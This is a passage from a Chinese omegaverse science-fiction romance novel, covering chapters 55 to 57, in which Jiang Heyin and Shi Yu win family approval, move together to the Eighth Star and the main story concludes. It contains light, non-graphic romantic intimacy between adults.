江图南倒是真没想到他会冒出这么一句话,闻言盯着他看了半分钟,原本想劝导一下说“这用处不大”,然而话到嘴边最终只是轻声叹了句“好吧”。 她说:“好吧,以后的会议会有人通知你,你可以参加。” 江图南的语气平平,然而就这么轻飘飘一句话,江鹤吟知道这是成功的意思。他眨眨眼,甚至都觉得有些太轻易,他是提前做了些功课,但总觉得这和从前他想要什么东西又或者不想要什么东西一样的轻而易举。 江鹤吟深吸气:“母亲,那我和时与……?” “我年轻的时候在第八星待了很久,仔细想想,你这种有些追求的omega在那边说不定真自在一点。” 江图南说:“那个小家伙为你打算的不错,如果她出意外的话,你直接回第二星也还是个完美的、叫人说不出坏话的状态,我也觉得很好,所以同意。” 这算是个半压在众人头顶的好职位,不会有人敢对自己的上司评头论足。 时与当时的说法很新鲜也很符合常理,江鹤吟的家境已经好得不得了,但先前诸人只觉得他再找个合适的alpha就万事大吉,倒真没人为他考虑过这些对他本人而言更重要的事。 江图南和时与的谈话比和江鹤吟的更早,就在江鹤吟从逃生通道翘家出逃的第二天,但这段不合规矩的私会显然不是她问话的重点,江图南见到她,问得依然是她自己关心的那几个老生常谈的问题:为什么不来第二星,守在第八星你未来又有什么方向之类。 时与并不怕她,甚至没怎么客气,她说:“将军碰见一把刀,是放到战场上杀敌更好,还是怕断了,留在家里吃灰更好?” 江图南早就被先前与第二星众人不同的、真正的战斗生涯养出了一生军旅情,看着时与这个风风火火又嚣张的年轻人,并没觉得自己受了冒犯,反而觉得很喜欢她,于是话题得以继续。 第八星想让江鹤吟来做第二星项目的总管很正常,江鸢当时也与她有过通讯。如今再说起别的考量,江图南没考虑多久便答应下来。 江鹤吟问:“我去第八星的话,能带谁呢?” 江图南说:“小秦已经收拾好相关的文件了,你有什么不懂的事可以问她。” 江鹤吟愣了一下。 他惊喜道:“真的!” 江鹤吟脸上的高兴都压不下来,他不知道军部具体的分工和构成,但是清楚谁出现的频率高,在母亲身边出现频率高的家伙肯定厉害——简直不敢想母亲能给他这么重要的人,他觉得高兴,仿佛是被委以重任。 “她是第六星出身,总跟着我在这里估计也有点难受。”江图南说,“她没有后顾的家族,本身实力也好,让她去第八星我很放心,你那边也能好过一些,不过别太任性。” 江鹤吟说:“是!” 他有点想跑出去了,想对时与说一下这个惊天大好事,但还是站着没动,江图南问:“还有别的事吗?” 江鹤吟有点不好意思:“我还关禁闭……” 江图南说:“出去吧。” 江鹤吟:“好!” —— 时与又收到江鹤吟滔滔不绝的消息轰炸。 她拍拍脑袋,苏兰亭在她身边慢条斯理的用餐——也不知道她确实有用餐的习惯还是被时与带着发现了真饭的美妙,总之她最近吃得非常规律。 她刚吃完,见时与忽然这样发了个小疯,拿出餐巾擦擦嘴巴,问道:“怎么了?” 时与:“江指挥官那边同意了,还派了身边的副手跟着。” “这么快呀。”苏兰亭也惊奇,她还以为这件事得再磨一会儿,自己沉默了半晌,忽然说,“哎呀,真厉害。” “嗯?” 苏兰亭:“你遇见真的掌上明珠了。” “……确实,”时与倒是从来没怀疑过这一点,毕竟江鹤吟身上那扑面而来的混账气息根本就难以掩饰,不被一家人围着宠很难养成这样的性格,她说,“被我赚到。” 苏兰亭没接她的话,依旧在餐盘前坐得像尊佛,知道她要走,挥挥手让人滚蛋。 时与说:“是!” 她真高高兴兴离开了酒店的餐厅,临走甚至自己去还了餐盘,苏兰亭觉得好笑,不过没叫住她,她给自己的妹妹发消息:[你们队长好像快结婚了。] 苏鸿那里梆梆梆砸过来三个问号。 一直不积极回信的家伙这次的回复快极了,甚至还一反常态丢了个通话过来。 苏兰亭没接,吹声口哨,也没看到这位妹妹又发了什么鬼话,先一步设置了免打扰。 时与站在门前,倚在街边的路灯旁,这是个繁华的地段,周围人来来往往。她在等新领导莅临视察,果然没过多久就看到一辆牌照很顺滑的车从远处过来,与江鹤吟移动的地理坐标明明白白对上。 车停在她面前,车门滑开,有台阶顺着铺下来。 江鹤吟坐在里面,拍拍身边的位置等她,时与没上车,先问:“还好?” 江鹤吟说:“好哇,不过我觉得还有很多事我要学一下。” “不错,很有样子。” 江鹤吟眼睛弯弯:“但是我好累呀,我又有新的地方带你去,我们现在先出去玩好不好?” 第56章 第 56 章 看流星但流星不如人烧…… 时与有些莫名地跟着他七拐八绕,最终进了一个外形低调的研究所。 有人殷切地引他们一路参观,这似是个相当权威的人,一路话语不停地介绍些设备或课题之类,像个老师,说一句还要再将眼睛侧过来观察他们的反应,时与听不懂,这辈子也最怕这个,每次她都心虚地点头,想跟着抽气,江鹤吟估计也没懂,此刻像个标准柔弱娇O攀着她的胳膊,介绍什么回应都是“哇塞嗯嗯嗯”。 时与好想逃。 时与不理解。 难以想象江鹤吟为什么要选这么个地方“约会”,总不能是因为觉得这里好玩……他难不成是已经进入角色,已经开始考察手下这些边缘的冷衙门?真是可怕的敬业精神。 时与不想打击他的积极性,但实在是有点痛苦,每次走进这种带点专业的大门就好想两眼一闭死了算了,更何况这次已经听人喋喋不休说了一个多小时。 江鹤吟还是挽着她的手,很好脾气的与身旁那人说着什么,又说到以后拨款的事之类,见时与已经开始有魂飞魄散的前兆,他很直接道:“我知道了,不过我想先做我们约好的事。” 那人扶扶眼镜,伸出手向后比了个引导的手势:“当然,当然,请进。” 她似是终于肯向前直面主题,在二人之前多走了几步,这才终于让时与抓住机会。 时与还是忍不住和江鹤吟耳语,她低头在他耳边轻声疑问:“这是准备干什么?” 江鹤吟也小声:“我接了这个研究所,准备先在这里给你治病。” 时与:“……” 什么叫给她治病,一定要这么说吗。 好怪的话,就好像他们两个人这是特地背着人找了离家远的机构来检查和治疗不孕不育似的,一下子就有了种莫名诡异的羞耻感。 时与不敢多想,放空大脑闭嘴跟着走,最终被引到一间空旷的、有点像门诊又有点像实验室的地方,一路陪伴的导游摇身一变成了不孕不育治疗圣手,她示意两人坐下,然后自己也坐到桌前。 她笑意吟吟,话语里甚至有慈祥的光辉:“是这样,具体的情况我大致有了解,不知道方便做一个精神体扫描吗?” 江鹤吟偏头瞧时与的表情,时与这时候一路刻意放空的表情才终于又露出点为难:“扫描……?完整的?” “当然是啦,”那人说着,笑眯眯指了指房顶,这房间几乎有三层的挑高,细看才能看清屋顶布设的并非普通的天花板,而是诸多复杂的仪器,她说,“我知道许多将军们精神体会比较特殊,这里应该绰……” “塞不下。”时与说,“团成一团都塞不下,分裂体可以吗?或者你们能分块扫描吗?” 那人眨眨眼,似是搞不清状况:“嗯?” —— 时与从来没有在日常生活中显露过完整的精神体,被要求这么做时有种莫名其妙的羞耻,好像自己正在脱衣裸奔似的,倚着墙不敢看人。 他们与那位不知道该叫医生还是博士还是研究员的家伙站在门外等里面的扫描,扫描最终还是分成一片一片,那人透过房门中央小小的窗户看着里头的东西,身上带着股怪异的凝重,露出来的一截胳膊上似乎起了鸡皮,江鹤吟倒是眼睛闪闪发亮,时不时合掌抵在侧脸,仿佛觉得那玩意很帅。 不止精神体,接下来脑域、血液、甚至基因型都被完整地检查了一遍,时与不太抗拒这个,只是有点担心这些数据会外流,但后来想想自己的基因样本也不止被取过一次,这研究所又是江鹤吟名下,还是就这么随他们去。 她就是……上不得台面,虽然知道这些检查算是标准流程,回车里还是依旧恨不得找个角落缩起来。 她前脚几乎是迫不及待上车,在车上撑着下巴看窗外觉得略有点自闭,江鹤吟后脚跟上来,很没眼色地要往她身上去挤,一会儿趴在她肩上,一会儿又要躺她的腿。时与推着他的脸把他按走,别过身背对着他,却没想到江鹤吟在身后嘿嘿两声,于是很快就见一个合金的面罩从后绕过她的脸。 “咔哒”一声。 时与:“……” 时与:“我手还在脸上呢,抽出手这玩意就掉下来,我既能咬你也能揍你。” 江鹤吟:“你害羞了。” 时与:“……” 区区四字,时与当真恼羞成怒,她坐直了抽出手,方才刚好勉勉强强卡在脸上的止咬器立刻掉到脖子上挂着,江鹤吟也相当眼疾手快,立刻躺到她腿上抱住她的腰,脸半埋在她的肚子上看她。 江鹤吟:“你看!你对我生气!凭什么!这没道理!” 时与:“……” 江鹤吟见她重新闭眼沉思不出声,好像是被他气晕了似的,又等了五秒才又慢悠悠从她身上爬上来,两手抱住她的脖颈,在她耳边耳语,同时还不忘再去亲她的脸。嘴太忙,以至于口齿都有点不清晰,他说:“为什么会害羞,很帅啊,那人都要吓死了,嘻嘻。” 时与半抬起眼皮瞄他一眼,鼻腔里发出轻轻的“哼”声,没说话。 车辆已经缓缓启动,司机在前面单独一个小室内,听不见也看不见后面的情况,这似乎又是来自江鹤吟的一个小特权。时与偏过头看外头逐渐后移的景色,看了会儿,终于一手抬起来捏着江鹤吟的脸玩,她道:“就是不习惯。” 一只文鸟忽然扑出来,先落到她肩上,跳了几下又扑到她头顶,低头啄了几根,为她整理起头发。 江鹤吟说:“我也不习惯,但是赔礼,你可以随便玩。” “……你说话可不可以负责任一点,”时与没去管鸟,又捏捏他的脸,“我拿在手里都怕把它弄伤,在头上我都要不敢动了,怎么随便玩。” 江鹤吟:“那怎么办?” 黏黏糊糊的omega像个可恶的坏布丁,他好像发现时与这样子很好玩,仿佛找到新的乐趣,也慢悠悠撑起身体,挪到时与腿上坐着,在她耳朵边吹气:“那怎么办啊——” 时与以前喜欢逗他,现在角色转换,简直像业力回馈,偏偏江鹤吟基本上要摸清楚她的脾气,很会踩线,扭过身贼溜溜轻咬了一下她的颈侧,几乎要咬到腺体。 如果现实中能用点表情符号就好了,时与扶着江鹤吟的腰,感觉额头上已经“梆梆梆”冒出三个井号,眉毛快要拧成一个疙瘩球,立刻就想咬回去并且揍他。 她只是咧了咧嘴,江鹤吟就立刻又去抓时与的手,握着她的手腕从上往下移,帮她划过自己的腰背停在屁股上,同时非常讨好地与她蹭脸颊,又亲她嘴角。 时与服了。 时与认输投降,不敢生气,前面司机是看不到不用管,但还有孩子待在她头顶上絮窝,哪里敢在这时候想七想八,她双手一摊:“投降。” 江鹤吟蹭蹭她的腿,眼睛眨眨,还是轻轻地在她耳边说话,他问:“真生气呀?” 时与:“假的。” “就是嘛。”江鹤吟趴到她胸口上,上次在车里生气可不是这个样子。 江鹤吟这人颇有点在哪里跌倒一定要在哪里爬起来的意思,他看着时与,嘴唇抿起来,露出个狡黠的蔫儿坏的笑,手往下伸,时与低下头眼睛睁大,那眼神仿佛觉得他难以理喻。 江鹤吟舔舔嘴唇:“我补习过……一些小东西。” “试一下嘛,我被关在家里也好好学习了,夸夸我。” 他俯下身去,时与想说你这是好好学了什么鬼东西,但是偏偏江鹤吟好像……还真……学得不错,于是伸出手,把一只手臂搭上自己的眼睛,不敢想别的,只敢唾弃alpha就是这样不是东西。 时与想,以前觉得自己不是这种能被本能控制的人,怎么能不分场合。 时与想,以前太装了。 江鹤吟自顾自实践了一会儿,觉得有点累,于是把头轻枕在时与腿侧,抬起眼睛想看看自己表现如何,却只看到时与泛起红晕的下半张脸。 —— 他们下车在第二星最高的建筑之前。 两人看上去都没什么不对的地方,只是江鹤吟身上的衣服多了些褶皱,时与耳朵还稍有些红。 建筑的最高层是一个能俯瞰方圆近千里的范围,说高耸入云都已经不足以形容,它处在大气层中间层的位置,肉眼向下其实并无多高的能见度,要通过光学辅助的设备向下观望。 时与不太能理解第二星人对于这种没太有用的建筑的执着,江鹤吟说:“可以在这里看到流星燃烧起来。” 时与说:“哦。” 她有点不敢看江鹤吟了,看到他几乎就要想起这漂亮的家伙先伸出舌头又闭上嘴巴吞咽的样子,江鹤吟倒是没发现这一点——但更有可能是故意的,他挽过时与的胳膊,问道:“我们什么时候能走?” 时与说:“大概一周左右。” 江鹤吟说:“那我要和你一起住啦。” 时与说:“嗯。” 第57章【正文完】 第57章 第 57 章 正文完结 一起住是个很好的、非常理所应当的想法。 恋爱或者结婚的AO当然应该住在一起,这于己于人都方便,更何况其中这位omega在本地并无依靠,是自第二星远道而来。 江鹤吟好像只是兴趣上来提了一嘴,然后便该做什么做什么,剩下时与一个人来回思索了一天一晚又并一天一晚。 这并不是个太新鲜的语句,上次想起在别处落脚的事还是因为时夏,但那回仅仅是暂时考虑了一下就搁置一旁,无他,她又没有个能帮忙处理琐事的生活助理,精力有限,远在第二星还操心不到那么远的地方。 ——结果这事最后还在这儿等着,不考虑不行,真是可恶。 时与深吸口气,她坐在苏兰亭身边,看对面人的嘴巴一张一合,室内尽是那人说话的声音,这次会议的人很多,连江鹤吟也来了现场,他坐在那里很像样子,时不时去看手里的文件,看起来比她还要认真不少。 注意到时与的视线,江鹤吟转了转眼珠,没出声,只对她重重眨了下眼,而后又默默转回去听人说话。 那人已经谈到第二星未来会对医疗与教育方面的投入,这与时与略微相关,她不免也要听一耳朵,大致是医疗仓大概会继续向下普及,几所高校也如苏兰亭的愿要有分校新建…… 哦对,时与忽然又把耳边声音清空,听人说到学校才又想起来,时夏父母那边还留有一所住宅,算算也已经多年无人居住,不知道现在是什么状况,只有人定期过去打理和修缮。 她托起下巴起笔在纸上画圈,动作仿佛是在煞有介事地标记文件。 那处的房产应该已经在时夏的名下,之后要提醒他再去看…… 至于别的……也不知道江鹤吟那边要工作的话是怎样的状况,想来第二星远驻第八星的办事处不在军部之中也在军部附近,既然如此不如她先选几处还不错的位置,到时候再让江鹤吟挑自己喜欢的,这样似乎比较好,省时省力也方便。 时与正一心二用,苏鸿又恰时给她发了条消息,于是她只好再分出一份心神来管这个碍事的混蛋,苏鸿说话不明不白,问:[你什么情况?] 时与说:[就那样。] 她来的正好,时与忽然问:[你在哪里住感觉要舒服一点?] 苏鸿:[啊?] —— 第二星剩下的事变得丝滑如细雨。 江鹤吟最近一直是风风火火一派兴奋的模样,他重新开始上家庭教育的课,不断补习先前从未听人讲过的崭新知识,学习之余又不忘拉着她四处游览,好像要赶时间将第二星所有好玩的地方都逛一遍,因而每天忙完正事后的行程也总安排的满满当当,看着精力相当充沛。 再也没有人来找莫名其妙的茬,连江鸢都只是不咸不淡“哼”一声扭头装看不到她,所有事都稳步推进,原本就不剩几天的行程在这般舒爽的待遇里更是仿佛是按下了加速键。 此行目的达成,她们很快就决定返航。 时与微抬起头,感受着星舰上忽然更改的重力状态,看见舷窗中那颗巨大的第二星越来越远。 她轻吐出一口气,转身回到舱里休息,处理脑机里嗡嗡嗡嗡的噪音——很不巧,江鹤吟上次想上舰没名没分,这次想上舰却更加不合时宜,他又被隔开,因而这时候正很狂放地给她刷新着不满的消息。 时与躺下来闭起眼睛瞧着他的消息,感觉这已经是第无数次觉得他很好玩,大致看了一眼便撑着脑袋开始笑。她给江鹤吟回信,但没好好说话,很故意地往他近日接收的文件海洋里又寄了几份全新的乱码命名的文件。 江鹤吟那头先是一顿,然后果然再次传来发疯的消息横扫,时与装作清白,很无辜似的,茶道:[你干嘛呀,你看一看,刚好趁这段时间选一选想住在哪儿。] 脑机里这下才终于清净下来,这话相当有用,江鹤吟几乎立刻就被转移了注意力,时与翻了个身看着舱顶,舰艇有些微的颠簸,她只觉得自己这段时间仿佛过得不太真实,先前人生中一切的安排都被打乱,想来简直是如梦似幻。 她伸出手对无聊的对着虚空抓握,一直到快要昏昏欲睡才终于又等到江鹤吟的消息,他说:[都很好,全都想要。] 时与笑出声,她也觉得都很好,但这也太贪婪了点,第一次带他出去玩的时候这家伙明明还很客气,连菜都加得克制,这次倒是理直气壮了,显然是没经历过麻烦的模样,于是她问道:[你想自己装修吗?] 如她所料,江鹤吟给了个肯定的答案。 ——那看来一年半载住不上新居。 时与又开始笑,嘴里“哎呀”一声,信息里却否决:[不行,至少选一个成品。] [哦。] 江鹤吟这次很听话,选来选去挑了个平层发给她,时与付款,顺便又给他发了两种车辆的改装方案,继续等他的回复。 时与一直都是很独立的,从小到大当妈当姐当老大已经习惯的不得了,现在倒是好像又有了新的身份似的,她很耐心,手里一份份文件隔着星河传来传去,两个人用这些文件里的碎片逐渐填补起一份新的生活来。 这样好像也不错,时与想,感觉有赚到。 —— 两人的住房比他们的星舰落地更早,然而几个散落各处地空旷房屋同样看得人头大,江鹤吟走过两个就有点后悔,所幸先前选了一个漂亮的成品房。 新的房子有江鹤吟从小居住的古旧庄园中没出现过的超大落地窗,站在窗边能俯瞰下方规划良好的中心区景色,他张开双臂,“嗖”一下却没能把窗帘潇洒推开,电动的限位器“咔哒”响动两声,他惊愕,时与也终于看到他没见过世面的样子,在沙发上嘲笑地毫不掩饰,叫江鹤吟恼火地来踢她的腿。 “你得习惯一下,”时与说:“我们这里不用佣人的呀。” —— 第八星需要习惯的事情很多。 江鹤吟几乎从来没有想过,他如今有了一间自己的办公室,他带时与走进去,转了一圈,还没搞清楚所有的陈设,小秦将军就搬了两大摞文档进来,她把文件塞进书架,上了锁,对他打招呼道:“小主席,稍后来看看这些,以后都会用到。” 江鹤吟愣愣“嗯”一声,笑容逐渐凝固,待人走了半晌才瘫在桌子上哀嚎。 时与大笑。 —— 时与的生活多了点麻烦,但实际也说不上。 原本特战部是本职工作,技术部偶尔进去兼职一下实验品,如今苏兰亭那边也开始时常要她与会,手上莫名又多了前线重装机甲部队的指挥权限,时与觉得有点离谱,但初步尝试倒是还算不错,指挥别人也不算第一次,还没手生,也算如鱼得水。 孤狼般的特战部终于多了点像样的支援。 —— …… 穿过屏障,外骨骼与基地地面相触发出轻盈声响,时与向后打了个“解散”的手势,除了通讯器里不断传来的报告,还听见身后稍显嘈杂的脚步和交头接耳的说话声。 苏鸿又把胳膊搭到她的肩膀上,时与说:“放假,先去休整,七天后重新集合,有新一批针对你们个人的装备要测试。” 又是熟悉的庆祝与欢呼声。 又等到最后。 时与身上带点小小的伤,但谁都觉得出去后身上被开几道口子相当正常,她捶苏鸿一把,满意听到她弯下腰夸张地哀嚎,又看准时机踹了她一下,立刻飞快向外跑。 身后传来苏鸿怒吼,她跟出去要让时与知道花儿为什么这样红,却险些撞到时夏身上。 时与在前面笑,向他们摆手:“门禁是十一点!” 苏鸿:“滚啊!” 时与愉快回返,身上有伤却问题不大,车辆启动,平稳行驶在路面,她整理了一下自己的仪容,很快停在楼前。 门锁扫过虹膜的权限,打开门,江鹤吟正好埋头坐在窗边。 一整面巨大的窗户被他的办公桌独占,他听到声响抬起头,见时与完完整整站着,立刻放心,伸出手哀鸣一声:“我好累。” 时与走到他身后,拖着他的椅子将他抽出来,就着这个姿势两人互相挤进对方怀里。 时与问:“那怎么办?” 江鹤吟不理,蹭蹭她的脸,双手攀上她的肩膀:“欢迎回来。” 【正文完】